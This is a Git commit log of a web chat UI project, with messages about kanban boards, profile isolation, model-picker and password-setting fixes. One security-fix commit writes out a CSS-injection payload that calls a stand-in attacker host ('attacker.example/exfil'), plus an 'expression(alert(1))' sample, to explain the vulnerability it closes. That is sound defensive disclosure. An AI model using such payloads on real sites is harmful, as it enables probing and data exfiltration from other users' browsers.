Commit Graph

635 Commits

Author SHA1 Message Date
Michael Lam 71d0e91c6f feat: virtualize session sidebar list 2026-05-05 01:12:08 +00:00
Nathan Esquenazi 60874dbf7a fix(kanban): block CSS injection via board.color into switcher style
`_renderKanbanBoardMenu` interpolates `b.color` into a `style=""`
attribute through `esc()`:

    const colorStyle = b.color ? `color:${esc(b.color)}` : '';
    return `<button ...><span ... style="${colorStyle}">...`;

`esc()` HTML-escapes (`<`, `>`, `&`, `"`, `'`) which prevents breaking
out of the `style=""` attribute, but does NOT prevent CSS-context
injection inside it. Neither this bridge nor the agent's
`hermes_cli.kanban_db.write_board_metadata` validates `color`, so an
authenticated WebUI user (or anyone writing through the CLI / agent
dashboard) can set:

    "color": "red;background:url('http://attacker.example/exfil')"

…and the malicious URL will be fetched whenever any user opens the
board switcher. Verified with a Node harness against the actual
unmodified renderer:

    INPUT:   "red;background:url('http://attacker.example/exfil')"
    OUTPUT:  <span ... style="color:red;background:url(&#39;http://attacker.example/exfil&#39;)">

The single-quote escaping doesn't help — `url(http://x)` works without
quotes — and CSS gives the attacker a useful exfil/probe primitive
(`background-image:url(...)`, `font-family: url(...)`, `@import`).

Frontend-only fix: validate `color` against an allowlist of CSS hex
codes (`#rgb`/`#rrggbb`/`#rrggbbaa`) and short alpha-only color names
(`red`, `blue`, ...) before interpolating. Anything else collapses to
the empty string so the renderer drops the `color:` rule entirely. The
agent dashboard plugin doesn't render board.color today, so this match
intentionally diverges (stricter) from the cross-tool contract — boards
written by the agent CLI with `rgb(...)` / `hsl(...)` colors will just
render uncoloured here, never break.

Server-side validation is intentionally not added in this fix:
- The agent CLI accepts arbitrary `color` strings, so any server-side
  rejection here would diverge from the cross-tool contract for inputs
  that are well-formed-but-unusual (e.g. `rgb(255,0,0)`).
- The renderer is the trust boundary that actually matters — color
  values written by other surfaces (CLI, gateway) flow through the
  same bridge and now get safely degraded at render time.

Behavioural harness: 17/17 cases pass (named colors, hex codes accepted;
all CSS-injection shapes including `expression(alert(1))`, `;background:`,
`url(...)`, malformed hex collapse to '').

Tests:
- Added test_kanban_board_color_is_validated_against_css_injection
  which drives the helper through Node and asserts both renderer-level
  invariants (helper called, raw `esc(b.color)` interpolation removed).
- 64/64 pass in tests/test_kanban_bridge.py + tests/test_kanban_ui_static.py
- Full suite: 4297 passed, 57 skipped, 0 failed.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-04 17:28:32 -07:00
Nathan Esquenazi 397d851bdb feat(kanban): multi-board management + SSE live event stream
Closes the remaining gaps to first-party Hermes Agent dashboard parity:
multi-board CRUD on /api/kanban/boards and a real-time event stream over
Server-Sent Events. Builds on top of #1660 (review-feedback hardening).

== Multi-board ==

Five new endpoints mirror the agent dashboard plugin contract verbatim
(plugins/kanban/dashboard/plugin_api.py) so a single CLI / gateway slash
command / dashboard / WebUI all share the same active-board pointer:

  GET    /api/kanban/boards
  POST   /api/kanban/boards
  PATCH  /api/kanban/boards/<slug>
  DELETE /api/kanban/boards/<slug>
  POST   /api/kanban/boards/<slug>/switch

All existing endpoints accept ?board=<slug> (and writes also accept
'board' in the JSON body) — query takes precedence over body. The slug
travels through the kanban_db library which already had multi-board
support; the bridge is mostly thin wrappers around create_board /
remove_board / list_boards / set_current_board / get_current_board.

The default board is protected from deletion. Slugs are normalised
through kb._normalize_board_slug() with path-traversal rejection.
Archive is the default for DELETE; ?delete=1 hard-deletes.

Frontend gets a 'Default ▾' switcher pill in the panel header. The menu
lists every board (current first), per-status total badges, plus three
actions (New / Rename / Archive). Create + rename use the same modal
with a slug auto-derived from the name. Archive routes through the
existing showConfirmDialog with a clear 'tasks remain on disk and the
board can be restored from kanban/boards/_archived/' message.

Active-board state is persisted to localStorage so a refresh stays put.
The on-disk pointer in kanban/current is the cross-process source of
truth, kept in sync via POST /boards/<slug>/switch.

== SSE event stream ==

GET /api/kanban/events/stream is a long-lived Server-Sent Events feed
that mirrors the agent dashboard's WebSocket /events contract. The
WebUI uses SSE rather than WebSocket because (1) the existing transport
is BaseHTTPServer, not async — WS would require a significant refactor
or a hijack-the-socket hack; (2) SSE is the right tool for unidirectional
server-pushed event streams; (3) browsers auto-reconnect on drop;
(4) the existing /api/approval/stream and /api/clarify/stream patterns
are proven and easy to copy.

The handler polls task_events at 300ms (matching the agent dashboard's
WebSocket poll cadence) so write-to-receive latency is identical.
Heartbeats every 15s prevent proxy/CDN reaping. Hard cap of 200 events
per batch.

Frontend uses EventSource by default and falls back to 30s HTTP polling
after 3 SSE failures. A 250ms debounce coalesces bursts of N events
into a single board re-fetch. Stream is torn down when the user leaves
the Kanban panel.

== Bugs fixed during build ==

(1) read_only=True legacy lie. _board_payload, _events_payload,
    _task_log_payload, and the no-change short-circuit all hardcoded
    read_only=True from the read-only-bridge era of #1645. Bridge has
    been writable since #1649 — flag now matches reality.

(2) Modal + dropdown menu transparent backgrounds. The PR stack used
    var(--panel) which is undefined in the WebUI design system (uses
    --surface, --bg, gradient panels). Replaced with the same gradient
    + accent border pattern used by the .app-dialog overlay.

(3) Archive race. kb.connect(board=<slug>) auto-materialises the
    directory + sqlite on first call, so any in-flight SSE poll on a
    board mid-archive would silently un-archive it by re-creating the
    directory. Two-layer fix: (a) frontend stops the SSE stream BEFORE
    the DELETE call, restarts on failure; (b) bridge's _kanban_sse_fetch_new
    checks kb.board_exists() before connect(), returning empty results
    when the board is gone.

(4) Save vs. Cancel button visual hierarchy. Both rendered as identical
    secondary buttons in the modal. Save now uses the .primary class
    with accent-tinted gold styling.

(5) Mobile viewport gaps. Added 9 rules under @media (max-width: 640px)
    covering the switcher button (smaller padding/font), name truncation
    (max-width:140px), menu sizing (min(280px, 100vw - 24px)), modal
    padding, and inline-row stacking.

== Tests ==

+45 new tests across two files. Bridge tests: 18 covering board CRUD
endpoints, slug validation, default-board protection, dispatcher routing,
board isolation (verified via connect() spy), and 3 SSE tests including
a worker-thread integration test with threading.Event watchdog. UI static
tests: 11 covering switcher markup, modal markup, JS handler presence,
REST verb usage, board-param plumbing, localStorage persistence,
showConfirmDialog usage, EventSource subscription, polling fallback,
panel-switch teardown, and 250ms debouncing.

Bridge tests: 18 → 36 (+18 multi-board, +3 SSE)
UI static tests: 15 → 26 (+11)
Total kanban: 33 → 63

Full repo test suite: 4351 passed, 0 regressions.

== Live verification ==

End-to-end browser walkthrough on port 8789:
- Create Sprint 12 + Backlog via modal: switcher updates ✓
- Switch between boards: count isolation correct ✓
- Add task on Sprint 12 via API: SSE delivers in 400ms ✓
- 5-task burst: 250ms debounce coalesces to single render ✓
- Rename board via modal: switcher label updates ✓
- Archive board: confirm dialog → board moved to _archived/, no zombie
  directory (race fix verified) ✓
- Zero JS errors throughout 11-step flow

Co-authored-by: ai-ag2026 <ai-ag2026@users.noreply.github.com>
2026-05-05 00:18:36 +00:00
Nathan Esquenazi 7e48a2fd85 fix(kanban): polish + ImportError fallback
Four follow-up issues found in the combined-stack live verification:

(1) handle_kanban_get had no exception handler; ImportError (webui-only deploy
    without hermes_cli), ValueError, LookupError, RuntimeError would bubble
    as 500. Wrapped in same exception cascade as POST/PATCH/DELETE.

(2) ImportError on any verb now returns 503 "kanban unavailable: <reason>"
    instead of 500. Frontend's existing try/catch surfaces a clean toast.

(3) The 'Read-only view' banner (legacy of read-only PR #1645) was always
    visible regardless of actual board state. Default-hidden in HTML;
    loadKanban() toggles based on _kanbanBoard.read_only.

(4) .btn / .btn.secondary class names were referenced in 4 places (Bulk
    action / Nudge dispatcher / New task / Back to board) but no matching
    CSS shipped — buttons rendered as browser-default beveled controls
    that clashed with the dark theme. Added scoped CSS rules under the
    kanban-* parent containers.

+4 behavioral + static UI tests covering the contracts.

Co-authored-by: ai-ag2026 <ai-ag2026@users.noreply.github.com>
2026-05-04 23:32:05 +00:00
Hermes Agent a39ec45b9f fix(kanban): protect dispatcher contract — reject raw status='running' PATCH
The PATCH /api/kanban/tasks/:id endpoint allowed any status-to-any-status
transition for the non-claim/complete/block/archive set via raw
`UPDATE tasks SET status = ?`. This let UI users (or any client) flip a
task to 'running' without going through kb.claim_task(), bypassing
claim_lock + claim_expires + started_at + worker_pid. The dispatcher
treats such a phantom-claimed task as orphaned and may reclaim, hide, or
double-dispatch it.

Match the agent dashboard plugin's contract
(plugins/kanban/dashboard/plugin_api.py update_task):

- status='running' via PATCH → ValueError (HTTP 400)
- status='ready' from currently-blocked → kb.unblock_task() (fires
  'unblocked' event)
- status='ready' from anything else, plus status in {'todo', 'triage'}
  → new _set_status_direct() helper that nulls claim fields when leaving
  'running', closes any active run with outcome='reclaimed', and
  appends a 'status' event row to task_events
- status='done', 'blocked', 'archived' → unchanged (already structured)

Frontend changes:
- Drop 'running' from the .kanban-status-actions button row in the task
  detail pane (clicking it would always 400 anyway).
- allowKanbanDrop() refuses the 'running' column as a drop target with
  dropEffect='none' so users see immediate visual feedback that the
  dispatcher/claim path owns running.

Tests added (3, all passing):
- test_patch_status_running_is_rejected_to_protect_dispatcher_contract
- test_patch_status_done_to_running_is_rejected
- test_patch_status_blocked_to_ready_routes_through_unblock_task

Existing 12 tests still pass.

Co-authored-by: ai-ag2026 <ai-ag2026@users.noreply.github.com>
2026-05-04 23:06:42 +00:00
Manfred 711e33e7db feat: harden Kanban review feedback
- add canonical PATCH and DELETE routing for Kanban writes
- fix task detail log rendering and add close/back affordance
- improve timestamps, event summaries, stats HUD, and mobile layout
- cover route and detail behavior with targeted tests
2026-05-04 22:56:43 +00:00
Manfred d7671f8366 feat: polish Kanban UI parity 2026-05-04 22:56:43 +00:00
Manfred dc3418c209 feat: add Kanban dashboard parity core 2026-05-04 22:56:43 +00:00
Manfred 5093e01640 feat: add Kanban write semantics MVP 2026-05-04 22:56:43 +00:00
Manfred fafc2ab4f1 feat: expand Kanban task detail view 2026-05-04 22:56:43 +00:00
Manfred 88bf62b6e4 feat: add native read-only Kanban panel 2026-05-04 22:56:43 +00:00
test c07d821586 Stage 296: PR #1650 — Codex OAuth onboarding flow (refs #1362) by @Michaelyklam 2026-05-04 21:26:52 +00:00
Michael Lam 89099928db fix: make TPS header display optional 2026-05-04 21:26:43 +00:00
Michael Lam 3ad8846a27 fix: show TPS in assistant message headers 2026-05-04 21:26:43 +00:00
Michael Lam 259c5c4afb feat: add Codex OAuth onboarding flow 2026-05-04 14:07:16 -07:00
test 1be6bfdd4f Stage 295: PR #1642 — YAML/JSON/diff code block newlines (closes #1618, #1463) by @nesquena-hermes — APPROVED, with media from @Michaelyklam 2026-05-04 18:26:20 +00:00
test 5228a23207 Stage 295: PR #1639 — macOS auto-scroll race + custom:* provider list (closes #1360, #1619) by @bergeouss 2026-05-04 18:26:20 +00:00
bergeouss 324aeaaded fix: macOS auto-scroll momentum race (#1360) + custom:* provider model list (#1619)
#1360 — On macOS WKWebView, trackpad momentum scrolling fires scroll
events that interleave with the _programmaticScroll setTimeout(0) guard.
A mid-momentum scroll event either gets swallowed (_programmaticScroll
still true) or falsely reports nearBottom (momentum hasn't settled),
keeping _scrollPinned=true and snapping the viewport back down.

Fix: rAF-debounce the scroll listener so the nearBottom check runs at
the next paint frame when the browser's scroll position has settled.
Added a hysteresis counter requiring 2 consecutive near-bottom samples
before re-pinning, preventing accidental re-pin during deceleration.

#1619 — When a custom:* provider (e.g. custom:relay via custom_providers)
has models that overlap with auto-detected models from base_url /v1/models,
the dedup logic at config.py:2263 skipped them all. The named custom
group ended up empty, and the continue at line 2334 silently discarded
the auto-detected models. Result: only the default model appeared.

Fix 1 (config.py): When custom:* named group has 0 models after dedup,
fall back to auto_detected_models_by_provider instead of dropping them.

Fix 2 (routes.py): Extended /api/models/live fallback to handle
custom:* slugs (not just bare "custom") for both custom_providers
config lookup and base_url live fetch.
2026-05-04 18:23:04 +00:00
Michael Lam 816a9e60f6 fix: protect raw pre from glued-bold lift 2026-05-04 18:22:59 +00:00
nesquena-hermes cbfc544f50 fix(renderer): YAML/JSON/diff code blocks lose newlines (#1618 / #1463)
Closes #1618 (reported by @Zixim) and corrects #1463's previous fix.

Bug: YAML, JSON, and diff/patch fenced code blocks render flattened to a
single line. Reporter noted the bug persisted v0.50.279 -> v0.50.291 ->
v0.50.292 despite PR #1516's CSS-only "fix".

Root cause: PR #484 (v0.50.237) added a JSON/YAML tree-viewer that routes
those languages through <div class="code-tree-wrap">...<pre class="tree-raw-view">
instead of bare <pre>. Same release added the diff/patch coloring path
that emits <pre class="diff-block">. The _pre_stash regex at
static/ui.js:1914 matched only literal <pre> with no attributes:

    <pre>[\s\S]*?<\/pre>

Both new shapes failed to match, fell through to the paragraph-wrap pass,
and \n characters inside the code blocks got replaced with <br> tags
inside <code>. By the time Prism ran, no newlines remained for the CSS
rule (PR #1516, language-yaml .token { white-space: pre !important }) to
preserve.

Fix: relax the regex to accept any attribute on <pre>:

    <pre>[\s\S]*?<\/pre>  ->  <pre[^>]*>[\s\S]*?<\/pre>

One regex character. Pulls JSON, YAML, and diff/patch blocks into the
stash so paragraph-wrap can't mangle them. Bash, Python, Go, etc. were
never affected because they emit bare <pre>.

Tests: 9 new (2 source-string invariants + 7 behavioural via node-driver
against the actual static/ui.js renderMd()). 6 of the 7 behavioural tests
fail on master and pass with the fix; the 3 sanity checks (yml-alias,
bash, mermaid) pass on both.

Plus widened source-scan window in 3 pre-existing test_745 assertions
from 400 to 1500 chars. The new comment block above the fixed regex
pushed it past the previous scan window. Pure window-narrowness bug,
not a behavior regression.

4245 -> 4254 passing.
2026-05-04 18:11:58 +00:00
bergeouss 21ba37c486 fix: session list race condition (#1430) + read-only fs guard (#1470)
#1430 — renderSessionList() had no staleness guard. Multiple concurrent
callers (message send, rename, session switch) could race, allowing a
slower older API response to overwrite _allSessions with stale data.
Added a generation counter that increments on each call and discards
responses from superseded generations.

#1470 — docker_init.bash unconditionally called groupmod/usermod even
on read-only root filesystems (podman with read_only=true). Added a
writability check for /etc/group and /etc/passwd. If read-only and
UID/GID already match, the mod is skipped gracefully. If they don't
match, a clear error message suggests setting matching IDs or disabling
read_only mode.
2026-05-04 16:51:53 +00:00
test 838645fd50 Stage 293: PR #1629 — profile isolation trio (closes #1611, #1612, #1614) by @nesquena-hermes — APPROVED 2026-05-04 16:21:29 +00:00
nesquena-hermes 6bc0f9c4d5 Apply Opus pre-release SHOULD-FIX + NITs (in-PR per release policy)
SHOULD-FIX #1 (renamed-root client cross-alias): drop strict-equality client
filter at static/sessions.js:1853. Server-side _profiles_match cross-aliases
'default'-tagged rows to a renamed root 'kinni'; the strict-equality client
would reject them, dropping every legacy session for renamed-root users. The
server is now solely authoritative for profile scoping.

SHOULD-FIX #2 (messaging-source dedupe ordering): _keep_latest_messaging_session_per_source
now runs AFTER the profile filter at api/routes.py:2078. Before, it ran on
the merged-cross-profile list with profile-blind keys, discarding the older
profile's row across profiles before the scope filter — leaving zero rows for
any messaging identity the active profile shared with another profile.

NIT #3: _projects_migrated flag now set only AFTER successful save_projects.
NIT #4: cleaned dead test code in test_is_root_profile_invalidation_drops_stale.
NIT #5: _create_profile_fallback's clone_from=='default' literal now routes
through _is_root_profile() for parity with the 5 other callsites.

+2 regression tests pin the SHOULD-FIX shapes:
- test_keep_latest_messaging_runs_after_profile_filter (source-string ordering)
- test_static_sessions_js_trusts_server_profile_scoping (no client re-filter)

4173 -> 4175 tests pass. 0 regressions.
2026-05-04 16:17:26 +00:00
nesquena-hermes e8862632ed fix(profiles): scope sessions, projects, and root-profile resolution to active profile (#1611, #1612, #1614)
Closes #1611 — /api/sessions filters by active profile by default; ?all_profiles=1
opt-in for aggregate views; new _profiles_match() helper honours renamed-root
cross-aliasing; static/sessions.js drops the s.is_cli_session bypass; toggle-on
re-fetches with all_profiles=1 instead of slicing client-cached rows.

Closes #1612 — new _is_root_profile() central helper consults list_profiles_api()
for is_default=True matches alongside the legacy 'default' alias. Replaces five
literal-default callsites in api/profiles.py. Memoized with explicit invalidation
hooks at create + delete. Sticky active_profile file write now stores '' for
renamed root, consistent with the legacy empty==root contract.

Closes #1614 — projects carry a profile field stamped at create-time;
/api/projects filters by active profile; /api/projects/{create,rename,delete}
and /api/session/move reject ops on cross-profile projects with 404; new
_PROJECTS_MIGRATION migration in load_projects() back-tags untagged projects
from any session that uses them, fall back to 'default'; ensure_cron_project
keys lookup by (name, profile) so each profile gets its own Cron Jobs project.

31 regression tests (9+11+11) pin the renamed-root resolution, server-side
profile scoping shape, helper invariants, cross-alias matching, migration
behavior, and active-profile guards on every project mutation endpoint.
4148 tests pass.

Reporter: @stefanpieter

Co-authored-by: stefanpieter <noreply@github.com>
2026-05-04 16:03:05 +00:00
Frank Song 59efb42dcd Show Hermes Agent version in settings 2026-05-04 23:57:56 +08:00
Hermes Agent 1549a10510 chore(release): stamp v0.50.292 — 12-PR batch + Opus follow-ups absorbed
Constituent PRs:
  #1597 by @Michaelyklam — pytest config-path isolation
  #1598 by @Michaelyklam — multi-tab SSE broadcast (closes #1584)
  #1599 by @Sanjays2402 — _pending_started_at truthy-check (closes #1595)
  #1600 by @Michaelyklam — streaming markdown subpath/fallback
  #1601 by @Michaelyklam — subpath frontend routes
  #1602 by @ai-ag2026 — cross-source continuation
  #1603 by @ai-ag2026 — git remote name preservation
  #1605 by @ai-ag2026 — update banner branch labels
  #1608 by @franksong2702 — cron broad-except removal (closes #1578)
  #1609 by @franksong2702 — server.py socket cleanup (closes #1583)
  #1621 by @franksong2702 — fork indicator polish (fixes #1613)
  #1622 by @s905060 — paste text-with-image (closes #1620)

Opus advisor SHIP verdict + 2 SHOULD-FIX absorbed in-release:
  • #1598 ordering race fixed (offline-buffer replay moved inside lock)
  • #1601 sessions.js:1440 gateway SSE probe baseURI parity fix

4117 → 4142 tests passing.
2026-05-04 15:45:41 +00:00
test 06a71563de Stage 292: PR #1621 — polish forked session indicator by @franksong2702 2026-05-04 15:34:21 +00:00
test 8a10532d29 Stage 292: PR #1601 — keep frontend routes under subpath mounts by @Michaelyklam 2026-05-04 15:34:08 +00:00
test 6f8424e5b7 Stage 292: PR #1622 — don't attach image on paste when clipboard has text (closes #1620) by @s905060 2026-05-04 15:33:32 +00:00
test ead91878ef Stage 292: PR #1605 — show update branches in banner labels by @ai-ag2026 2026-05-04 15:33:32 +00:00
Jash Lee 1ad0ab42e5 Fix #1620: don't attach image on paste when clipboard also has text
When the clipboard carries both text and an image (rich-text sources like
Notes, Word, Slack, browser selection attach a rendered preview alongside
the plain text), the paste handler in static/boot.js unconditionally
called e.preventDefault() and routed the image into addFiles(), silently
discarding the text payload.

Fix:
  - Detect text in the clipboard via items[].kind === 'string' &&
    (type === 'text/plain' || type === 'text/html'). When present, return
    early so the browser's default text-paste runs.
  - Tighten the image filter to kind === 'file' && type.startsWith('image/')
    so string items advertising an image MIME (e.g. text/html with an
    embedded data URI) are not misclassified as a true screenshot paste.

Pure-screenshot paste (image-only clipboard, e.g. Cmd+Shift+Ctrl+4 on macOS)
is unchanged.

Adds tests/test_1620_paste_text_with_image.py with 6 static-analysis checks
on the handler shape, matching the pattern of test_issue1095_pasted_images.py.
2026-05-04 10:48:36 -04:00
Frank Song 3f56ed7283 Polish forked session indicator 2026-05-04 21:50:40 +08:00
Manfred 0b7f60a714 fix: show update branches in banner labels 2026-05-04 09:46:45 +02:00
Michael Lam e9d7d5e427 fix: keep frontend routes under subpath mounts 2026-05-04 00:06:58 -07:00
Michael Lam 032b680e26 fix: render streaming markdown on subpath mounts 2026-05-03 23:55:45 -07:00
nesquena-hermes 3369a08f37 fix(updates): use merge-base for compare URL so 'What's new?' link resolves
Closes #1579.

api/updates.py was building the GitHub compare URL from local HEAD short SHA:

    repoUrl + '/compare/' + curSha + '...' + newSha
    where curSha = `git rev-parse --short HEAD`

Whenever local HEAD diverges from upstream — unpushed work, dirty stage
branches, forks, in-flight rebases, release-time merge commits whose SHA
only lives in the maintainer's local history — the compare URL points at
a SHA github.com has never seen and returns the standard 404 page.

Reporter (@ai-ag2026) observed:
  https://github.com/nesquena/hermes-webui/compare/c660c7f...86cb22e
  → 404 because c660c7f was an unpushed local commit.

The right base is `git merge-base HEAD <compare_ref>` — the most recent
commit local and upstream share. Since `git fetch` succeeded just before,
the merge-base is guaranteed to exist on the upstream GitHub repo.

Behavior matrix:
  Pure-behind clone (no local commits): merge-base == HEAD; URL unchanged.
  Behind + local-only commits (#1579):  merge-base != HEAD; URL points at
                                        public ancestor instead of local HEAD.
  merge-base failure (shallow clone):   current_sha=None; JS link guard
                                        suppresses link rather than emitting
                                        a known-broken URL.

Also hardens static/ui.js: reset the link's href and display:none on every
banner render, so a stale link from a prior render can't survive a re-render
where the new payload has current_sha=null.

Tests:
  - test_current_sha_is_merge_base_not_local_HEAD — reporter's scenario
  - test_current_sha_equals_HEAD_when_no_local_commits — backward compat
  - test_current_sha_falls_back_to_None_when_merge_base_fails — defensive
  - test_whats_new_link_resets_display_and_href_on_every_render
  - test_whats_new_link_suppressed_when_curSha_falsy
  - test_reporter_url_shape_no_longer_produces_invalid_compare_url

4094 → 4100 passing. 0 regressions.
2026-05-04 05:26:19 +00:00
Hermes Bot 47d1a29ead Stage 290: PR #1464 — workspace dropdown sort+search+chip-sync by @JKJameson (maintainer-augmented: ternary fix + regression test) 2026-05-04 04:51:43 +00:00
Hermes Bot d15b0a2929 Stage 290: PR #1592 — turn duration display 'Done in 1m 12s' by @Michaelyklam 2026-05-04 04:51:43 +00:00
Hermes Bot 38a9878821 Stage 290: PR #1591 — first-turn sidebar visibility (optimistic upsert) by @Michaelyklam 2026-05-04 04:51:43 +00:00
Hermes Bot 84429b2298 Stage 290: PR #1590 — hot-apply compact tool activity setting by @Michaelyklam 2026-05-04 04:51:43 +00:00
Josh 4174a7a860 fix: immediate syncTopbar on chat switch + sortable searchable workspace dropdown
Co-authored-by: Josh Jameson <josh@jjameson.com>

Maintainer-augmented:
- Flip noResults ternary (visible?'none':'' instead of visible?'':'none') —
  the contributor's first-push bug rendered 'No workspaces found' alongside
  valid filtered results. Verified on contributor's own screenshot in PR.
- Add tests/test_issue1464_workspace_dropdown_filter.py to lock the
  visibility relationship (mirror-image opt/noResults ternaries) so future
  edits cannot silently re-invert.
- Rebased onto master (was 124 commits behind v0.50.275).
2026-05-04 04:51:30 +00:00
Michael Lam 3afa23ecb7 fix: clear first-turn sidebar spinner on start failure 2026-05-03 21:14:21 -07:00
Michael Lam f3fa106cd7 feat: show agent turn duration 2026-05-03 20:20:17 -07:00
Michael Lam 9ed0639319 fix: show first-turn chats in sidebar immediately 2026-05-03 20:10:05 -07:00
Michael Lam c9c985933f fix: hot-apply compact tool activity setting 2026-05-03 20:00:10 -07:00
Michael Lam f0e6a9b788 fix: keep login assets out of service worker cache 2026-05-03 18:18:27 -07:00
nesquena-hermes a2b793be4f fix(picker): Nous Portal featured-set cap + endpoint symmetry (closes #1567)
Two related dropdown bugs in one PR — same root shape (model-picker
endpoints disagreeing about which Nous Portal models exist) plus the
preemptive UX guard against the picker becoming unusable on large-tier
Nous accounts.

#1567 — Endpoint disagreement
=============================
Reporter (Deor, Discord, May 03 2026) saw Settings → Providers card
showing "Nous Portal — 396 models · OAuth" while the in-conversation
picker dropdown listed only the four hardcoded curated entries.

Two structural causes:

1. ``api/providers.py:get_providers`` iterates ALL OAuth providers
   regardless of authentication state and unconditionally live-fetches
   the catalog.
2. ``api/config.py:_build_available_models_uncached`` only iterates
   providers in ``detected_providers``, gated on
   ``hermes_cli.models.list_available_providers().authenticated``.
   That flag can disagree with ``get_auth_status(<id>).logged_in`` on
   some hermes_cli versions.

When the disagreement happens for Nous, the picker silently falls
through to the curated 4-entry static list while the providers card
keeps showing the live catalog — exactly the asymmetry users report.

Plus: the Nous live-fetch branch in `_build_available_models_uncached`
fell back to the same curated 4-entry list when `provider_model_ids`
returned an empty list (transient failure / OAuth refresh in flight),
which doubles down on the disagreement instead of healing it.

UX cap (the design concern Nathan flagged on triage)
====================================================
Even with the disagreement fixed, dumping a 397-model catalog into a
flat dropdown is unusable. We trim the visible picker to a curated
~15-entry featured set when the catalog exceeds 25 models, and surface
the rest under a new ``extra_models`` field so:

- ``/model`` slash autocomplete (commands.js) covers the full catalog
- ``_dynamicModelLabels`` (ui.js) hydrates from both lists, so a model
  selected from outside the featured slice still gets a proper label
- The optgroup label gets ``" (15 of 397)"`` appended so the user
  understands the dropdown is intentionally trimmed, not broken
- The providers card surfaces ``models_total`` separately so the
  header still reads "397 models · OAuth"
- A small "+N more" disclosure pill appears at the end of the rendered
  pill list (only fires for non-OAuth providers — OAuth cards never
  render pills) with a tooltip pointing at the slash command

Featured selection rules
------------------------
Deterministic; same algorithm runs in both `/api/models` and
`/api/models/live` so background enrichment doesn't undo the trim:

1. Always include the user's currently-selected model (sticky — no
   orphan IDs in the dropdown after a refresh)
2. Always include every entry from the curated static
   ``_PROVIDER_MODELS["nous"]`` list whose id maps onto a live id
3. Top up to 15 by walking ``_NOUS_VENDOR_PRIORITY`` round-robin
   (one model per vendor each pass) so no vendor monopolises the slots

Changes by file
===============

api/config.py
- New `_format_nous_label` neighbour: `_NOUS_FEATURED_THRESHOLD = 25`,
  `_NOUS_FEATURED_TARGET = 15`, `_NOUS_VENDOR_PRIORITY` tuple,
  `_build_nous_featured_set()` helper (~80 LOC)
- `_build_available_models_uncached` Nous branch:
  - Apply featured-set cap with sticky-selection signal
  - Return `extra_models` alongside `models` for the catalog tail
  - Decorate optgroup label with truncation count
  - Drop stale-4 fallback when authenticated but live-fetch empty
    (omit the group entirely; truth lives in the providers card and
    the next cache rebuild will heal it)
  - Keep stale-4 fallback when hermes_cli is unavailable (test envs,
    package mismatches) — that's a different failure mode
- Detection symmetry: explicit `get_auth_status("nous").logged_in`
  check after the existing `list_available_providers()` loop, so the
  picker matches the providers card on hermes_cli versions where the
  two signals disagree

api/providers.py:get_providers
- Apply same featured-set cap so card body doesn't render 397 pills
- Add `models_total` field reporting full catalog size (used by
  frontend for the "N models · OAuth" header text)

api/routes.py:_handle_live_models
- Apply same featured-set cap for `/api/models/live` so background
  enrichment via `_fetchLiveModels()` doesn't undo the dropdown trim
- Use sticky-selection from `cfg["model"]["model"]` matching the main
  endpoint's logic

static/ui.js:populateModelDropdown
- Hydrate `_dynamicModelLabels` from `g.extra_models` so a selection
  outside the visible dropdown still renders with its proper label

static/commands.js:_loadSlashModelSubArgs
- Iterate `group.extra_models` so `/model` autocomplete covers the
  full catalog (not just the trimmed featured slice)

static/panels.js:_buildProviderCard
- Header count uses `p.models_total` (full catalog size) instead of
  `p.models.length` (trimmed slice)
- Render trailing "+N more" disclosure pill when `models.length <
  models_total` with a tooltip pointing at the slash command

static/style.css
- New `.provider-card-model-tag-more` rule (italic, dashed border,
  cursor:help, no select) — visually distinct from real model pills

Tests
=====

`tests/test_issue1567_nous_picker_capacity_and_symmetry.py` (20 tests):

- TestBuildNousFeaturedSet (8): unit tests on the helper —
  small-catalog no-op, large-catalog cap to target, disjoint+complete
  invariants, priority-vendor round-robin guarantee, sticky selection
  with and without `@nous:` prefix, curated-flagship preservation,
  empty-catalog handling, determinism
- TestApiModelsLargeCatalog (2): /api/models cap behavior end-to-end
  on a synthetic 397-model catalog vs a 20-model catalog
- TestNousDetectionSymmetry (2): picker includes Nous when
  `get_auth_status` agrees but `list_available_providers` disagrees;
  picker omits Nous when both disagree
- TestNousLiveFetchEmpty (2): authenticated + empty-fetch omits group;
  hermes_cli unavailable still falls back to static-4
- TestProvidersCardPickerSymmetry (1): both endpoints agree on
  exactly the same featured-set IDs + total catalog count
- TestFrontendExtrasContract (4): static-source assertions pinning
  the JS contract for `extra_models`, `models_total`, and the "+N more"
  disclosure

Verified live on port 8789 (30-model catalog):
- /api/models Nous group: provider="Nous Portal (15 of 30)", 15 models,
  15 extra_models
- /api/models/live?provider=nous: 15 entries (matches main path)
- /api/providers Nous card: models_total=30, models=15
- Browser dropdown after backfill: 15 options, 30 entries in
  _dynamicModelLabels
- Sticky selection: Claude Opus 4.7 (the active model) in the featured
  slice as expected

4073 pytest passed (was 4053 → 4073, +20 from this PR).
3 CI test runs (3.11/3.12/3.13) green.
QA harness 11/11 passed.

Reporter: Deor (Discord #report-bugs, May 03 2026 14:15 PT)
Relayed by: AvidFuturist
2026-05-03 21:44:22 +00:00
Dutch AI Agency 732c995d91 fix(#1560): refuse password change when HERMES_WEBUI_PASSWORD env var is set
Settings password silently no-opped when HERMES_WEBUI_PASSWORD was set:
the env var takes precedence in api.auth.get_password_hash(), but the UI
happily POSTed _set_password and returned a green "Saved" toast while
every subsequent login still required the env-var password. Same for
Disable Auth (_clear_password=true).

Backend (api/routes.py):
- GET /api/settings now exposes password_env_var: bool so the UI knows
  the field is shadowed.
- POST /api/settings refuses _set_password and _clear_password with HTTP
  409 + a clear message naming HERMES_WEBUI_PASSWORD when the env var is
  set. Short-circuits BEFORE save_settings() so settings.json is not
  touched.

Frontend (static/index.html, static/panels.js, static/i18n.js):
- Added settingsPasswordEnvLock banner div in the System pane.
- panels.js reads settings.password_env_var, disables the password field,
  swaps in a localized "locked" placeholder, reveals the banner, and
  hides the Disable Auth button (its POST would 409 anyway).
- New i18n keys password_env_var_locked and password_env_var_locked_placeholder
  added to all 9 locales (en, ja, ru, es, de, zh, zh-Hant, pt, ko).

Tests:
- tests/test_issue1560_password_env_var_lock.py: requirement-pinning
  (handler exposes flag, 409 on set/clear, banner div, panels.js wiring,
  i18n in all 9 locales, env var name in messages, live HTTP smoke when
  env unset).
- tests/test_1560_password_env_var_no_op.py: behavioral via FakeHandler
  (real status codes for env-set/unset/blank, settings.json hash unchanged
  after 409, panels.js disable+banner+placeholder+disable-auth-hidden).

Both files run clean: 23 passed in 2.04s. test_issue1139_password_remote.py
unaffected (4/4 still pass).
